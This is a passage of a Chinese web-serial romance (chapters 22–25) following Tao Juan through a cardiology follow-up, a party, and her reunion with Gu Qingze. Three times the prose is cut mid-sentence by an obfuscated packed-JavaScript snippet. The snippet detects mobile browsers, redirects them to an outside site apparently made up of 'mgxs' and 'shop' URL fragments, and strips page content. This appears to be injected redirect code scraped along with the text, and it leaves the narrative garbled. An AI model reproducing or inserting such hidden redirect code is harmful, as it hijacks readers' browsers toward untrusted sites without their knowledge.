不仅是衣服饰品,她家还养了很多宠物,两只猫一条狗,几只牡丹鹦鹉,最近一年多又开始养更罕见些的爬宠,守宫、小蜥蜴之类的。也不知道这些小动物在她那个实心的家是怎么生活的。 陶涓不止一次曾跟曹艺萱吐槽,田田这要是在国外可能已经被动保组织告上法庭了。 这天晚饭时周测打来电话,闲聊了几句后他问起陶涓的病情,最近有没有感到胸闷气短啊?记得按时吃药。上楼梯的时候一定要慢,最好戴个能监测心率的运动手表。 陶涓一一答应,说她在曹艺萱这住着,暂时不用爬楼梯,也用不上运动手表。 周测几次欲言又止,最后叮嘱道:“两周后来复诊,千万别忘了。” 陶涓笑,“忘不了。” “那天有人陪你来吗?我那天刚好休息,我陪你去?”周测还是担心,医院里缴费、检查、拿药都要等挺久,她又总是晕血。 “不用。早安排好了,我从前同事罗莹陪我去。” “曹艺萱呢?” “她那时候都进剧组了。” 今年的春节比往年晚,过完元宵就三月了,北市终于露出点春天的模样,天空不再是灰色的了,虽然陶涓家窗外的法国梧桐还是光秃秃的,但是仔细看的话,枯枝上已经悄悄生出了叶苞,不过外面还覆盖着棕褐色的皮,静静等待春日暖阳。 陶涓去复诊那天是周五,距离她出院刚好两个月。 她提前半小时到了医院,去了周测办公室才被告知,周医生一小时前进了手术室,临时代班,不过是小手术,估计再过两三个小时就能出来了。 陶涓不禁呆住。 她掏出手机,这才看到周测给她的微信,那时她在地铁上,完全没听到。 昨天下午罗莹突然得到通知,之前一个面试过的公司想让她今天去复试。陶涓叫她只管去不用担心自己,想了想还是向周测求助。 他答应得倒是干脆,没想到又临时放鸽子。 陶涓一时间分辨不清自己是失望还是早有预料,或者可能是习惯吧,正想离开,周测的同事张琳急匆匆跑进来叫住她,“周师兄托我陪你复诊。”她可能刚下夜班,衣服还没换。 这事办的。 早知如此,她还不如听曹艺萱的,求田田陪她复诊,作为回报给她也做一套寻物码。或者,就接受顾清泽的好意,让他派个人来。 陶涓挺不好意思,“其实我自己去就行。” “那怎么行?”张琳笑着挽住陶涓胳膊,小声说,“把你放走了,谁替我写周总结呀!” 两人去心电图室途中张琳电话响了,她听完面色凝重,加快脚步拉着陶涓到了心电图室,抱歉说:“我待会儿再过来找你,有个病人指标突然不太好,我回去看看。” 人命关天的事,陶涓赶紧说:“你快去吧,不用管我……” 张琳想了个折中的办法,交待道:“你做完心电图在这等我,我来了你再去抽血。” 这时走廊上一个年轻女孩迎上来,“陶小姐——” 陶涓认出她是顾清泽的国王人马之一,秘书沈峤,赶紧抓住这根救命稻草,跟张琳说:“你快去忙你的吧,我同事来陪我了。” 张琳如释重负,交待沈峤几句要是晕血了怎么办踩着风火轮似的走了。 陶涓如蒙大赦。 真是服了周测,他也不是没做补救,可他的同事也都一样忙,让谁陪着她都很有负担。 沈峤递给她一瓶温热的矿泉水,“顾先生让我来陪你的,病历卡给我吧,我去取号。” 陶涓谢过沈峤,还是自己取了号。 做完心电图,陶涓一出来,看见沈峤旁边多了个人,顾清泽。 这下她可惊讶了,“你怎么来了?你来干什么?” 顾清泽张口欲言,瞥了沈峤一眼又把嘴边的话吞回肚子里,要笑不笑,“我来看你笑话,行了吧?” 陶涓顿时笑了,她自己都觉得笑得莫名其妙,咳嗽一声问,“你不用工作?” 顾清泽摇头,“嗯。不用。纨绔子弟嘛!” 陶涓这次噗嗤笑出声了。 顾清泽这才正经地说:“本来以为你有人陪着,我只派沈峤来看看情况,没准拎个包跑个腿,没想到她打电话说跟着你的人有急事,我就来了。等会儿还要抽血吧?” 陶涓一听“抽血”这两个字就发憷。 她血管细,还不明显,从前有几次护士要换个地方再扎一次才能抽出血。 排队等待时十分煎熬,抽血的科室大门敞开,几个病人坐成一排,门外长椅上又是几排,全身待宰羔羊。 她连头都不敢抬,只盯着脚尖前面一小块地板,也不知道是不是饿的,胃里像有一群扑棱蛾子,上下翻飞,说不清是恶心还是胃抽筋了,她连着深吸气几次,觉得胳膊都在发颤,心脏也越跳越快,手脚却越来越冰凉。 这时顾清泽忽然递给她一个暖宝宝,“手冷?” 医院走廊上暖气烧得很足,陶涓额头鼻尖冒汗,但指尖煞白,微微颤抖,怕得不得了。 暖宝宝已经热乎乎的了,陶涓接过来先焐了焐手,再隔着毛衣焐在胃上,很快感觉好了些。她这才发现沈峤不知去哪儿了,顾清泽说:“她去买点巧克力和雪饼。” 陶涓愣了一下,“哦。” 以前在学校医院打吊针她都会带这两种零食,也分给顾清泽吃过,没想到他还记着。 该来的还是会来。 护士叫到陶涓名字时,她哆嗦一下,硬着头皮站起来,顾清泽走在她身前,“大衣和包给我,你就跟着我走,只要不乱看就没事。” 她默默点头,盯着顾清泽的后背,目不斜视。 他领着她走到一张塑料椅边上,扶她坐下,陶涓暗暗庆幸,很好,成功了第一步,没看到其他人在抽血的样子,接下来只要闭上眼睛就好。 护士给陶涓卷起袖子,还没拿针筒和束带,就见这病人已经紧紧闭上眼睛,都要笑了,“这么紧张啊?” 顾清泽在一旁虚虚扶着陶涓肩膀,跟护士解释:“她有点晕血。”又轻轻拍她右肩,“放松,呼吸,一下子就好了。” 陶涓感到针刺进皮肉,其实不算很疼,成年人完全能忍住,接着,护士很快放松扎在她胳膊上的束带。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235704|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这次抽血挺顺利的,陶涓听到护士说“已经好了”还是不敢睁开眼,护士又往她胳膊针孔上贴了创可贴让她按住,她还是不敢睁眼,直到稀里糊涂被顾清泽带出去才看到沈峤已经回来了。 沈峤让她赶紧坐下,又递给她吃的,“快吃一点吧!”她又稀里糊涂接住。 沈峤拿上单据,“我去缴费。” 陶涓含着一块巧克力,闭目靠在长椅上,过了好一会儿才感到眩晕感渐渐消失,“我可真没用。” “很多人都怕血。还有人晕针。怎么能说自己没用呢?”顾清泽语气淡淡的,“我一直害怕打点滴。总觉得那是快要病死的人才用的。” 陶涓又笑了,想起两人当病友的情形,不由侧眼看他,顾清泽也笑了。 这时忽然有人叫陶涓,她扬头一看,竟是申悦明。 申悦明毕业后也进了安真医院,成了雷主任亲传弟子,现在是肿瘤科重点培养的外科医生。 “真是你!”申悦明走过来,“你怎么来医院了?” “心肌炎,来复诊。” “哦哦哦我想起来了……新年那阵是吧?我那时候去外地交流了,看我这记性!”申悦明一边说,一边又看看顾清泽。 陶涓介绍,“这是……” “啊,我记得,你是陶涓的师弟,后来去MIT了对吧?”申悦明好像并不觉顾清泽和陶涓一起出现有什么稀奇的,笑着跟他寒暄,“什么时候回国的?” 她跟顾清泽聊了两句,问陶涓:“正好遇见你了,我还想问呢,你什么时候能来调整一下模型啊?我们医院这边收集了很多资料和数据,去年年底输入之后按理说模拟的精确度应该更高,可是不知道哪儿出了问题,反而没以前好用了。我们科联系了方舟几次,倒是又派人来了两次,不过模拟效果还是一直不理想。” 这个应用是陶涓负责设计开发的得意之作,主要用来模拟乳腺癌病人保乳手术和其他复杂创伤修复手术,三年前安真医院和北市另外两家医院引进了方舟制作这款AI模拟手术效果的应用,有段时间陶涓和申悦明每周都要交流,两人的关系比大学时候好了很多。 她遗憾地告诉申悦明,“我去年就离开方舟了。被开除了。” 申悦明骂了句脏话,知道陶涓爱莫能助,“那你现在怎么样?” “还行。先接点零活儿,好好休息,等身体好点再找工作。” 申悦明还是不太甘心,“我回头问问领导,看看能不能请你当顾问,先来给我们调整模型,这也算零活儿吧?” “要是医院领导批准,我当然会接。” 医生就没有不忙的,尤其安真医院,一个人恨不得劈成三份用,申悦明又跟陶涓聊几句,急匆匆走了,“等我信儿啊,要是成了我请你吃饭。” 陶涓忙说:“要是真成了,那得是我请你吃饭。” 她想着申悦明的话,思索会是哪里出了问题,让模拟应用的效果不理想。 越想越心痛,就像机械师做出的精密机械一样,算法模型也需要维护更新,不然最终就会变成笨重生锈的废物。 这些可都是她绞尽脑汁,熬了许多不眠之夜做出来的。 也不知道黄霸天派来的是谁,她、大刘、罗莹,还有更早被逼走的几个人,这些技术骨干全都离开方舟后,他们之前做的工程会有谁来维护? 顾清泽突然出声:“你要是真想接这个活儿,可以自己开一家咨询公司。” 陶涓吓了一跳,“我?开个咨询公司?我一个人?” “当然不用只是你一个人啊,你可以雇从前在方舟的同事。只要能接下几个从前方舟开发的应用维护,你们就能养活自己。”顾清泽说得理所当然,“然后你们可以扩展业务,开发类似的应用,卖给方舟的潜在顾客。” 陶涓呆呆盯着顾清泽看了会儿,“再然后,我成为方舟的竞争者,挖它墙角,抢它生意,把它挤出市场!” 顾清泽认真说,“为什么不可以?互联网行业里这样的事可太多了。你想想,某个手游公司,还有某零售电商平台,不都是这样?” 陶涓笑了,“我从来没这么想过——不过,这么想想就觉得超级解气!简直就是逆袭爽文!” 顾清泽也笑,但他不觉得这是意淫,他觉得,陶涓无论做什么都能成功。除了…… 陶涓忽然看到顾清泽脸上笑容消失,他冷冰冰盯着她身后。 她回头一看,周测站在她身后不远处,神色复杂。 23.道歉要有诚意 周测以为这辈子再也不会见到顾清泽了。 没想到他就这么毫无预兆地再次出现。 出现在他的地盘。和第一次出现时一样。 大模大样,理所应当地,出现在陶涓旁边。 陶涓大二那年暑假去美国参加一个比赛,她回国那天他本以为没法去机场接她,他要观摩手术,谁想到手术临时取消了,他到机场想要给她一个惊喜,没想到收到一个巨大的惊吓——一个年轻男孩站在陶涓身旁,亦步亦趋,目光凝在她身上,每时每刻都在不自觉地对她微笑。 他太熟悉那样子了。 在别的女孩看他的时候,或是其他男孩看陶涓的时候都见过。 那就是迷恋。 男孩年纪还很小,最多十六七岁,容貌出奇秀美,头发比常见的同龄男孩留的更长,某个角度和贝尼尼雕塑的美少年阿波罗神似。 但有种和年龄不符的自信和深沉。 在陶涓扑到他怀里和他相拥时,这少年脸上的震惊、恍悟、不甘和嫉妒一闪而过,然后变成冷酷阴郁的凝视。 就和此刻一样。 他和陶涓带着顾清泽一起去吃饭,饭后陶涓已经很累了,可还是叫了车,要先送这小孩去他住的公寓,然后才回宿舍。 车来了,顾清泽拉开后座车门让陶涓先上,然后他又对她说,“你坐里面一点好不好?”就这样,他坐在她身边。 周测知道他是故意的。 途中陶涓睡着了,无意识的脑袋靠在顾清泽肩上,忽然间,顾清泽在后视镜中和他对视,对他笑了一下。 狼子野心。昭然若揭。 后来周测发现,尽管明知他和陶涓在交往,顾清泽依旧有种莫名的自信,似乎坚信他和陶涓才是命中注定的一对,他们以后一定会在一起,这几乎就是天经地义的,而他周测,不过是这个过程中的一部分。 这混蛋小子现在又露出了那种天经地义的神情。 真是令人火大。 周测费了很大的劲才维持住基本的礼貌,走到陶涓身边先问她情况如何,说了好几句话才像刚看到顾清泽似的跟他打个招呼,“你什么时候回北市的?还以为你会在澳洲忙活呢,你四叔搞庞氏骗局的新闻都上央视了。” “多谢关心。”比起眼神,顾清泽语气倒没那么冷冰冰,甚至还笑了,“成年人都得为自己的行为负责,做错了事自然得接受后果。” 陶涓觉察出这两人不对付,但不以为意,从前他们说话也是夹枪带棒的。像是天生不对盘。 她打岔,问周测,“病人抢救成功了?” 周测“嗯”了一声,“你怎么样?晕血没?今天抽血还算顺利?我陪你拿报告?” “不用了。心电图报告已经出来了,挺好,血检要三天后才能出报告。你快回去休息吧,拿了药我就走,还有好多工作没做完。”陶涓说着站起来,跟顾清泽说:“我们去找沈峤吧,我休息好了。你们也赶快回公司吧……” 顾清泽说:“不用急,我日程向后移了,和李唯安的会议在晚上八点……” 周测听了一会儿两人的对话,才意识到顾清泽现在也在太平,还是主要投资人之一。 呵……原来如此。 难怪陶涓那么顺利就在太平入职,即使她主动说了因病无法全职,还是得到一份兼职工作。 原来顾清泽的卷土重来是早有预谋的。 周测恨不得立刻就向陶涓揭露,但他按捺住了。 他现在还没有证据。 他忽然对着顾清泽微笑,等着吧混蛋,让你先得意一会儿,我会在你最开心的时候给你一拳,就像从前那样,只需要一拳,就能打得你倒在地上爬不起来。 顾清泽当然看到了周测的笑容。很多年前,他第一次见到他后就这么对他笑过。落地北市后第一次搭出租车,周测坐在副驾驶,不时从观后镜看坐在后排的他和陶涓,看到睡着后陶涓靠在他肩上,他和周测在观后镜中对视,他笑了,周测也笑了。 周测再一次这么笑,是拿着几本八卦杂志找上门,他把杂志扔在他面前,笑着问他,“你怎么敢的?” 顾清泽侧过脸,不再看周测,他想立刻牵着陶涓的手离开这里。 陶涓也感应到他的不安,因为她忽然抬头看他,微微皱眉,眼睛里有些担忧,但她并没问什么,只对周测说:“那我们走了。” 这个“我们”让他顿时得到安抚。 他跟在陶涓身后一步之遥的位置离开,在走廊转角,他看到周测仍然在笑。有恃无恐,暗藏杀机。像个志在必得的猎人。 陶涓跟周测说得赶快回去工作只是个借口,没想到顾清泽拿这个当理由,坚持要开车送她回家。 “那沈峤呢?” “她坐我的车回去。” 陶涓有点郁闷。只要她报出地址,顾清泽一定会猜到她和周测已经分手了。 她不想跟他解释他们为什么分手。 唉,可是,他又不是傻瓜,看到刚才她和周测那情形,还猜不到吗? 真烦。 当年顾清泽就不看好她和周测。动不动就阴阳怪气,说她把时间精力投资在一个男人身上是非常不明智的。 可恶。又让他说中了。 车子开出医院好一会儿,陶涓才后知后觉,他好像早就知道了。导航上已经输入她家地址。 啊,对,她求职要留联系方式和住址。他应该早就看过了。 她看看面无表情驾驶的他,“不笑话我?” 他知道她在说什么,仍旧面无表情回答,“干嘛要笑话你。”又过一会儿,他说:“我一直很佩服你的。” “佩服我?佩服什么?” “能那么勇敢地喜欢一个人。不计后果。” 陶涓掩面低笑,忽然感到悲凉,“真的?不是讽刺?” 他侧首看她,认认真真说:“真的。” 到了她家,他把车停在楼下,“我陪你上去?” 陶涓摇头,“不用。这些药又不沉。” 他绕到后座提起那袋药,确实不沉。 走到单元门口,他把袋子交给陶涓,说:“那天……” “嗯?” “你来面试那天——”他鼓起勇气,“那天我本来要去见你的,可是……我四叔的事刚好爆出来。” 陶涓想起周测的话,点点头,“哦。没关系……” 他打断她,“不,有关系。我……我一直很后悔。四叔的事我早就知道,爆出来后该怎么处理我也准备好了,那天——是我自己太犹豫。我怕你一见我就破口大骂。” “哎?”陶涓惊讶地笑了,“你怕我骂你?我那么凶吗?” “嗯。你知道的,我一直都很怕你凶我。”他认真说,然后也笑了,“其实,是怕你不原谅我。”他急急追问,“现在你能原谅我了吗?” 陶涓耸肩,“还得再看看。求人原谅,至少得送块蛋糕、请人吃个冰淇淋什么的吧?我过去是怎么教你的?” 顾清泽又笑了。 陶涓也笑。 她笑的样子比从前还要更好看,眼睛弯弯,浓密的睫毛压在眼角,那里现在有一条细细的溪流一样的纹路,眼眸的光像是能从这条溪流溢出。 顾清泽感到一阵热潮,可能是毛衣领口太高,有股热气冲上来,却散不出去,在胸口颈项间徘徊,弄得他必须吞咽一下才能正常说话:“总之就是,我挺后悔的。我总觉得,如果那天我去见你,也许你就不会生病、住院。” “啊?”陶涓大笑,“你是不是迷信啊?我生病住院是因为在面试那天之前就感冒了,一直拖延着耽搁了病情。” “是,我有时候是挺迷信的。”顾清泽忽然不太敢继续看她,他又想起了小布丁狗热水袋、We arepatible……还有从前许多纯粹是巧合却让他更加坚定的“暗示”, 他的迷信时刻都和她相关。 忘了哪本书上写的,迷信的起源是无助。 陶涓感到顾清泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238649|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然间有点低落,她想问问他怎么了,心脏却不规则地猛跳几下,又心悸了。看来真得按时吃药。 有一阵风在院子里盘旋,吹动他们头顶高大的梧桐树枝,发出细微的声响。 一对老人在向阳处拉起晾衣绳,挂上被子,用藤编的拍子用力拍打。 “今天阳光很好。”顾清泽突然说。然后他突兀地转了话题,“刚才在医院里我的提议你认真想想。我有位律师朋友,可以介绍给你……” “那太好了!” 抢方舟客户的事先不提,陶涓也正好需要一位律师,春节都过完了,方舟还没给她补偿金。 昨天她又打电话给康苓,她秘书仍旧说她在开会。行吧,那就走法律程序吧。 顾清泽拿出手机,“你先发条微信给我。我把律师名片推给你。” 陶涓斜着眼睛看他一眼,掏出手机,带着嘲意冷笑两声,“你忘了?你把我拉黑了!” 她搜索到顾清泽的名字,发了个叹号,刚要把手机屏幕转向他,让他看看那个鲜艳的叹号,可是—— 没有红色叹号,也没有“对方拒收了你的消息”的提示。 她有些疑惑,难道换了几次手机后就不会再收到系统提示了? 顾清泽也很惊讶。 他盯着陶涓看了半天,“你没……没删除我?我以为你会把我也拉黑。”她没有? 那她——她看过他写的那封电邮?那她为什么不回复?不,不对。她好像完全不知道他给她写了封电邮。 陶涓这会儿明白过来了,他刚才故意让她先发条微信给他,是想让她知道,他早就把她从黑名单里放出来了。 她都被逗笑了,“你什么时候把我从黑名单里拉出来的?” “第二天。”他微微抿唇,又说,“对不起。” 她大度地摆摆手,“算了。”但又立刻生气了,“那你十年都不给我发一条消息?” 顾清泽再次道歉,“对不起。”看来,她真的不知道那封电邮存在。 他一面好奇为什么——她求职简历上的电邮地址并没变啊;一面又感到有点庆幸,那么,她不知道他……忽然,他又产生怀疑,既然她还在用着同样的电邮地址,也没有拉黑他,为什么没收到那封电邮…… 她会不会……是在说谎?假装没看到那封电邮,假装不知道他的心思?这样大家就能伪装起来,维护原先的体面,当普通朋友? 陶涓正要直截了当批评几句,这是什么王子病啊!小心眼到这种程度也太罕见了吧? 突然,微信提示又响了,是楚舰问候她。他刚刚回国,会在几天后到北市,希望到时能和她见面。 真是令人头大。 她按灭手机,但顾清泽已经看到了消息,还问她:“你要跟他见面吗?” 她没好气,“关你什么事啊?先把律师的微信名片发给我吧。” 原本陶涓以为这天会是很糟糕的一天,要去医院复诊,还有她最害怕的抽血,可实际上一切都很顺利,心电图显示她恢复得不错,抽血也没出乱子,顾清泽介绍的律师李英策认为她和方舟很可能不需要走到仲裁那一步就能拿到赔偿金。 她约陶涓带上合同和各种资料找一天到她办公室详谈。 下午罗莹又给她个惊喜,电话一接通就嗷嗷乱叫,“涓姐——我有新工作了!” 陶涓赶紧恭喜她。 “看,我就说嘛,我们都有光明的未来!” 罗莹笑得停不住,“今天晚上我请你吃饭,赔罪加庆祝!” 正在商量晚上去哪儿吃饭,突然有个陌生电话打来,陶涓接起来,是沈峤,她说:“陶小姐,我在你家楼下,我能上来么?” 沈峤送来一个小保冷盒,里面是个纸杯,装着形状古怪的冰淇淋球。 陶涓会心一笑,把小木片勺插在冰淇淋上拍了张照,发给顾清泽:原谅你了。 她挖一小勺冰淇淋,朗姆酒葡萄干口味的。 依旧是整个北市最好吃的。 24.庆功宴 进入三月中旬,北市终于暖和起来,陶涓家窗外的梧桐树枝上的叶苞越来越大,外壳是一种棕红色,在阳光下泛着油脂般的光泽。街头的柳树更早吐出新芽。 陶涓的血检报告也出来了,各项指标都不错,稳定恢复中,下一次复诊定在几个月后。 取报告时周测来了,他又问起顾清泽,还提醒陶涓,小心点这家伙,别忘了他当初是怎么忘恩负义翻脸无情一走了之杳无音信的。 陶涓觉得周测对顾清泽的防备有点夸张。搞的好像顾清泽要处心积虑害她似的。 他能图谋她什么呢? 钱?开玩笑。 色?那更是搞笑。 她从来没跟周测说过她第一次见顾清泽的情形,那满池的比基尼女孩,随便拉出来一个都是teenage queen。 何况,她如今几岁了? 她也没告诉他和顾清泽再次重逢的地点不是北市,更没说顾清泽怎么求原谅的,在她看来,顾清泽愿意继续做她的朋友,那固然很好,如果他再次翻脸无情一走了之十年杳无音信,那她也就随他去。 当年的她会因为真诚和关心被辜负而耿耿于怀,再次相逢后,她只觉得世事无常,爱谁谁吧,随便吧。 现阶段的她,只关心自己的赔偿金什么时候能到账。 前几天李律师给方舟发了律师函,康苓也不忙了,也不开会了,打电话扯了一堆屁话后跟她保证,本周内一定会收到补偿金。 陶涓客气回复,没关系,方舟继续拖着也好,她就当买理财产品了,滞纳金利率比银行理财还高呢,如果赶快给她那也很好。 哦,还有,别忘了罗莹老刘他们的补偿金,李律师带的几个小徒弟正缺案子试手呢。 周四早上,这笔她应得的钱终于到账,陶涓截屏发给曹艺萱:真不容易。 曹艺萱:早说让你找律师!这帮人就是贱啊。 这天晚上陶涓银行账户又收到一笔钱,是太平提前给的奖金。 电影上映至今,负责宣传的部门反应很快,落实也到位,票房走势几乎完全和预测模型重合,估计票房在下周就会冲破三十亿,届时太平内部还会专门办一个庆祝会,感谢所有员工和合作者。 拿钱当然很高兴,但想到要参加庆祝会陶涓又不免头疼。 楚舰前几天来了北市,和太平有个什么度假村的合作,他约了陶涓几次,都被她想尽各种借口推掉了。他也不急,只说没关系,这次庆祝会他们一定会见面的。 每次推掉楚舰的邀约,陶涓都会打开手机前置镜头看看自己。 她三十二岁。 二十几岁时勉强能算是美女,现在最多只能说是“有气质”。 梳头发时最悲伤,不仅发缝日渐稀疏,偶尔还能看到几根偷偷长出的白发,之前常年加班,睡眠不足,压力之下还失眠多梦,喝五杯咖啡也有黑眼圈,最近为了保命睡得规律充足,但是眼角的细纹哪怕是曹艺萱下重本买的眼霜也无力回天。 她摸摸脸颊,“真是张饱受牛马生涯摧残的脸啊……”达西先生到底是被什么吸引了? 她和曹艺萱讨论过,大家最先想到的是达西先生其实是骗婚gay,但很快又被推翻了——要骗婚的话,不谙世事的小姑娘更容易骗。 接着她们又做了许多推测,一个比一个更离谱,也都纷纷被推翻。 这么推导了一番之后,曹艺萱问她:“你是不是对他有好奇心了?有好奇心想探究一个人的过去,往往就是喜欢的开始。” 陶涓知道,自己完全不好奇楚舰的人生。 只是他家和林家有交情,又是林爸郑重其事介绍给她的,拒绝他是件很有负担的事,她太久不约会,很难把握尺度,想尽可能礼貌,又不想引起误会。 不过,该来的还是要来。 票房破三十亿之后,太平先是隆重地为演员导演和多方投资人办了个庆祝会,陶涓没去参加,但是在搜集宣传信息时看到这个庆祝会上了几次热搜,办得像个招商会,很多没参与电影拍摄的明星也来参加了。 之后章秀钟又请合伙人和太平内部工作人员去他在市郊的大别墅玩。 章公子的party从来不会令人失望,这次也不例外。 香槟、鸡尾酒和豪华自助餐,现场乐队和DJ,还请了几个网红当主持人炒热气氛。 楚舰当然也来了。 陶涓应付他十分吃力。 虽然他不讨人厌,谈吐也算有趣,可是她就是觉得和他在一起时自己像只受惊的猫,全身毛都炸起来了,大学时的回忆第一次见面时几乎全讲完了,这次要么谈谈票房预计的算法模型原理,要么就得很努力地找话题,还要担心自己有没有说错话,越来越像求职面试。 幸好永远不缺想和达西先生搭话的人,趁着一位不同部门的同事跟他说话,陶涓借口去和自己同事打招呼,跑了。 她找了个人最多声音最吵的地方,地下一层的舞池。 不过,这里无法久留。 不一会儿,DJ换了音乐灯光,全场群魔乱舞,激烈的鼓点让她耳膜和心脏都难以承受负荷。 她赶紧悄悄离开,不敢回大厅,也不敢坐电梯,沿着一道小小的螺旋楼梯一层一层拾阶而上,一直走到最高层,喧嚣的音乐和人声终于听不清了。 章公子的party她欣赏不了,不过他这别墅的隔音做的真好。 她在楼梯上坐了一会儿,终于感到安全。 沿着走廊走了几步是一间开放式图书室,四壁全是堆到天花板的书,最少有几千本,只有书桌上的台灯亮着,桌上摊开一本德文书,不知是谁不久前在这看过。 她翻一下书皮,是本德语的童话绘本,主角是一只小熊。画得很可爱。 陶涓有些好奇,谁?会在这里看这样一本书? 她翻翻书页,用手机对着封面书名Schlaf gut, kleiner B?r翻译,哦,原来这本书叫《晚安,小熊》。 书桌对面有一张墨绿色丝绒沙发,她瘫在上面,听到窗外风吹树木的窸窸窣窣声,原本只想安静一会儿,却不知不觉睡着。 陶涓醒来时四周静悄悄的,窗口吹来春夜的风,带着草木清香,她浑身暖暖的,刚才做了个梦,梦里自己还是个小孩子,深夜里,好像是爸爸下了夜班,他们一家三口围坐在小圆桌前吃饭。 她迷迷糊糊坐起来,发觉有人给她盖了块薄毯,书桌上的台灯散发橘色光芒,一个人坐在桌前低头阅读,她眨了眨眼睛才看清看书的人是顾清泽,“你怎么在这儿啊?” “楼下太吵了。”他笑笑,隔了一会儿说,“你不是也在这儿吗?” 陶涓揉揉太阳穴,“楼下太吵了。” 两人相视而笑,陶涓忽然间感到心脏用力跳动,她微微担心,从住院到现在已经快四个月了,之前心悸的症状已经渐渐消失,最近好像又严重了…… 不过她立即又安慰自己,别吓自己,上次复诊时各项检 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248605|196869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 查结果都很好。 “你饿不饿?”顾清泽忽然问。 陶涓先摇摇头,又摸摸肚子,“好像是有点饿。几点了?” 竟然已经过了午夜。 她这才察觉整幢房子太过安静,“party结束了?” “怎么可能。”顾清泽微笑,“秀钟带大家去泰利玩了。包场。” 泰利是北市近几年最有名的KTV,陶涓没去过,但也有所耳闻。 难怪这么安静。 陶涓忽然又想起楚舰,“那……” 顾清泽立刻猜到她想问什么,“秀钟邀他去谈合作。” 陶涓不觉舒口气。 心情一放松,立刻觉得饥肠辘辘。 她刚才一共也没吃什么,端着餐盘跟楚舰说话,好像小学生被老师问问题,哪里还有胃口。 她想随便捡点自助餐剩下的食物填肚子,顾清泽却带她去厨房,“吃点热热的东西吧。” “那你煮个面给我吃?就是因为不想动手才想吃现成的。” 没想到顾清泽真挺自信,“不要你动手,我煮给你!” 嘿。还挺自信。 “那我就等着吃了。”陶涓还真不信这少爷真会洗手作羹汤。 她是想看顾清泽笑话的,没想到他真的似模似样烧水,洗菜,水开下面,还打了个蛋进去。 她站到他身边,“唉哟,士别三日……”后半句还没来得及说,锅鬻了。 顾清泽手忙脚乱调小火,已经来不及,溢出的面汤浇灭了煤气灶的火,他想要端起锅,被陶涓大声制止:“烫!” 等他找到隔热手套,锅里的汤带着蛋花已经溢出大半,再被滚烫的炉子一烧,空气里全是蛋白质烧焦的气味。 尽管他尽量补救,鸡蛋还是糊在锅底,蛋白烧出棕焦色气泡,卖相凄惨。 都不用陶涓说什么,顾清泽自己都觉得没法过关,“呃……我再给你煮一碗?你饿得厉害吗?” “再煮干什么?”陶涓吃了一口对他笑,“你第一次煮能做成这样已经挺好的啦!” 顾清泽不由叹口气,不是第一次煮。 他练习过很多次,可关键时刻仍然失败。 陶涓吃了几口,看到顾清泽依旧一脸怏怏,“下次你再煮个更好的给我。” 他这才又微笑。 虽然鸡蛋带点糊味,陶涓还是吃的很香。 她想起刚才那个梦。 突然发觉,她长大后再没谁给她深夜煮面。 上高中的时候表姐住校,她走读,晚自习结束回到家大舅和舅妈都睡了,他们第二天早上四点多就要去批发市场进货,她都是自己提前买个面包,一边吃一边做卷子。 大学毕业后,周测作息不规律,轮班后回到家倒头就睡。别说他,雷主任周院长也不会做饭,一家子常年在医院食堂吃饭。 吃完面,顾清泽问她,“你累吗?” 她摇摇头,“我想出去走走。” 他和她一起从厨房的后门走去花园。 花园里树影婆娑,还有个不小的人工湖,陶涓抬头看看天空,可惜今晚没有月亮,路灯的光芒投在湖面,看不清水源来自哪里,只听见潺潺声响。 湖边种了很多洋水仙和风信子,还有一棵巨大的樱树,夜晚看不清花朵的颜色和形状,只是夜风一吹,枝叶摇曳,樱花的花瓣带着香气随着暖融融的风吹拂在脸上,如同轻吻。 陶涓忽然感到,这夜的风是真正的春风。 25.春风春雨 进入四月后,北市的气温稳定上升。 陶涓家的客厅和卧室的窗户都朝阳,天气晴朗时阳光投进来,晒得人直犯困。 不过,太阳下山后依旧得开电暖气保命。 市政供暖在两周前停了,她家又在顶楼,家里有时比隆冬时还要冷。 窗外的梧桐终于露出一点绿意,相信再过不久绿色会越来越多。 陶涓看着还有点秃的窗景很是期待,自从她搬进这里,几乎还没在白天欣赏过满目绿叶的窗景,大好时光都在格子间当牛马,回到家天早黑了。 春天生机勃勃,让她有种莫名的信心,一切都会向好的方向发展。即便几天前申悦明遗憾地告诉她,院领导没同意她的提议,决定继续等方舟派人里调整模型,顾问这事暂时没戏。 陶涓也不意外,她认真过考虑顾清泽的建议,跟李英策律师聊过后,衡量利弊,准备开个应用开发的工作室,资料已经提交,估计营业执照马上就能办下来。 工作室听起来要比个人靠谱些,她算了算自己手里的钱——积蓄再加上刚收到的补偿金,足够支付一个帮手一年的工资。 